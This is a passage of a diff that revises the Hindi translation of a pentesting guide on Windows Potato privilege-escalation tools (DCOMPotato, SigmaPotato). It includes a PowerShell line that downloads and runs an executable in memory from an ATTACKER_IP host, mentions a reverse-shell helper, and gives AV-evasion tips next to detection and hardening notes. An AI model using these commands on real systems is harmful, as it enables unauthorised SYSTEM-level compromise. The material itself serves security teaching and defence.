पर तब काम करता है जब SeImpersonatePrivilege मौजूद हो। ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato दो वेरिएंट प्रदान करता है जो service DCOM objects को लक्षित करते हैं जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर सेट होते हैं। प्रदान किए गए binaries को बनाएं या उनका उपयोग करें और अपना command चलाएँ: +DCOMPotato दो वेरिएंट प्रदान करता है जो service DCOM objects को लक्षित करते हैं जो डिफ़ॉल्ट रूप से RPC_C_IMP_LEVEL_IMPERSONATE पर होते हैं। दिए गए binaries को बनाएँ या उपयोग करें और अपना command चलाएँ: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +136,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (अपडेटेड GodPotato fork) +### SigmaPotato (updated GodPotato fork) -SigmaPotato आधुनिक सुविधाएँ जोड़ता है, जैसे .NET reflection के माध्यम से in-memory execution और एक PowerShell reverse shell helper। +SigmaPotato आधुनिक सुविधाएँ जोड़ता है जैसे .NET reflection के माध्यम से in-memory execution और PowerShell reverse shell helper। ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,11 +149,11 @@ SigmaPotato आधुनिक सुविधाएँ जोड़ता ह ``` ## डिटेक्शन और हार्डनिंग नोट्स -- नामित पाइप बना रहे प्रक्रियाओं की निगरानी करें और तुरंत token-duplication APIs को कॉल करने के बाद CreateProcessAsUser/CreateProcessWithTokenW को कॉल करने वाली गतिविधियों पर ध्यान दें। Sysmon उपयोगी टेलीमेट्री दिखा सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और वे कमांड लाइन जो SYSTEM के रूप में child processes को spawn करती हैं। -- Spooler hardening: जिन सर्वरों पर Print Spooler सेवा आवश्यक नहीं है, वहां इसे डिसेबल करने से spoolss के माध्यम से होने वाले PrintSpoofer-style local coercions रोके जा सकते हैं। -- Service account hardening: कस्टम सेवाओं को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege असाइन करना कम से कम रखें। सेवाओं को आवश्यक न्यूनतम privileges वाले virtual accounts के तहत चलाने पर विचार करें और जहाँ संभव हो उन्हें service SID और write-restricted tokens के साथ अलग-थलग रखें। -- Network controls: आउटबाउंड TCP/135 को ब्लॉक करना या RPC endpoint mapper ट्रैफ़िक को सीमित करना RoguePotato को प्रभावित कर सकता है जब तक कि कोई internal redirector उपलब्ध न हो। -- EDR/AV: इन सभी टूल्स के लिए व्यापक सिग्नेचर मौजूद हैं। source से recompile करना, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है पर मजबूत behavioral detections को परास्त नहीं करेगा। +- उन processes को मॉनिटर करें जो named pipes बना रहे हैं और तुरंत token-duplication APIs को कॉल कर रहे हैं और फिर CreateProcessAsUser/CreateProcessWithTokenW को कॉल करते हैं। Sysmon उपयोगी telemetry प्रदान कर सकता है: Event ID 1 (process creation), 17/18 (named pipe created/connected), और ऐसे command lines जो SYSTEM के रूप में child processes spawn करते हैं। +- Spooler हार्डनिंग: उन servers पर जहाँ इसकी आवश्यकता नहीं है, Print Spooler service को डिसेबल करने से spoolss के माध्यम से PrintSpoofer-style स्थानीय दुरुपयोग रोका जा सकता है। +- Service account हार्डनिंग: custom services को SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege असाइन करने को न्यूनतम रखें। सेवाओं को आवश्यक न्यूनतम privileges वाले virtual accounts के तहत चलाना और संभव हो तो उन्हें service SID और write-restricted tokens से अलग करना विचार करें। +- Network कंट्रोल्स: outbound TCP/135 ब्लॉक करना या RPC endpoint mapper ट्रैफ़िक को सीमित करना RoguePotato को रोक सकता है जब तक कि कोई internal redirector उपलब्ध न हो। +- EDR/AV: ये सभी tools व्यापक रूप से signatured हैं। source से recompile करना, symbols/strings का नाम बदलना, या in-memory execution का उपयोग detection को कम कर सकता है पर मजबूत behavioral detections को हरा नहीं पाएगा। ## संदर्भ